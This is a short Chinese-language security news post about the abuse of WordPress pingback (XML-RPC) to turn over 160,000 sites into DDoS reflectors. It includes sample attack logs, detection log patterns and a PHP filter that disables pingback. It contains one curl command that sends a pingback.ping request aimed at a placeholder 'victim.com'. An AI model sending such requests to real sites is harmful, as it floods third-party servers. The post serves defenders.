超過16W的WordPress網站被用來做DDoS攻擊

2014091811533056938

任何開啟了Pingback(默認就開啟)的WordPress的網站可以被用來做DDOS攻擊其它伺服器。

 

看如下日誌:

74.86.132.186 - - [09/Mar/2014:11:05:27 -0400] "GET /?4137049=6431829 HTTP/1.0" 403 0 "-" "WordPress/3.8; http://www.mtbgearreview.com"

121.127.254.2 - - [09/Mar/2014:11:05:27 -0400] "GET /?4758117=5073922 HTTP/1.0" 403 0 "-" "WordPress/3.4.2; http://www.kschunvmo.com"

217.160.253.21 - - [09/Mar/2014:11:05:27 -0400] "GET /?7190851=6824134 HTTP/1.0" 403 0 "-" "WordPress/3.8.1; http://www.intoxzone.fr"

193.197.34.216 - - [09/Mar/2014:11:05:27 -0400] "GET /?3162504=9747583 HTTP/1.0" 403 0 "-" "WordPress/2.9.2; http://www.verwaltungmodern.de"

..

可以發現每次請求還增加了亂數/?3162504=9747583以此來繞過緩存。

 

測試這種攻擊方式只需要一個curl命令就可以了:

 

$ curl -D -  "www.anywordpresssite.com/xmlrpc.php" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://victim.com</string></value></param><param><value><string>www.anywordpresssite.com/postchosen</string></value></param></params></methodCall>'

想要看你自己的網站是否被用來做了攻擊可以查看日誌當中是否包含類似如下的內容:

93.174.93.72 - - [09/Mar/2014:20:11:34 -0400] "POST /xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "POSTREQUEST:<?xml version=\x221.0\x22 encoding=\x22iso-8859-1\x22?>\x0A<methodCall>\x0A<methodName>pingback.ping</methodName>\x0A<params>\x0A <param>\x0A  <value>\x0A   <string>http://fastbet99.com/?1698491=8940641</string>\x0A  </value>\x0A </param>\x0A <param>\x0A  <value>\x0A   <string>yoursite.com</string>\x0A  </value>\x0A </param>\x0A</params>\x0A</methodCall>\x0A"



94.102.63.238 – - [09/Mar/2014:23:21:01 -0400] "POST /xmlrpc.php HTTP/1.0" 403 4034 "-" "-" "POSTREQUEST:\x0A\x0Apingback.ping\x0A\x0A \x0A \x0A http://www.guttercleanerlondon.co.uk/?7964015=3863899\x0A \x0A \x0A \x0A \x0A yoursite.com\x0A \x0A \x0A\x0A\x0A"

防禦此問題的推薦方法需要遮罩 XML-RPC (pingback) 的功能,WordPress主題中添加如下代碼:

add_filter( 'xmlrpc_methods', function( $methods ) {

   unset( $methods['pingback.ping'] );

   return $methods;

} );

參考資料:
http://drops.wooyun.org/news/1062

 

You may also like...

發表迴響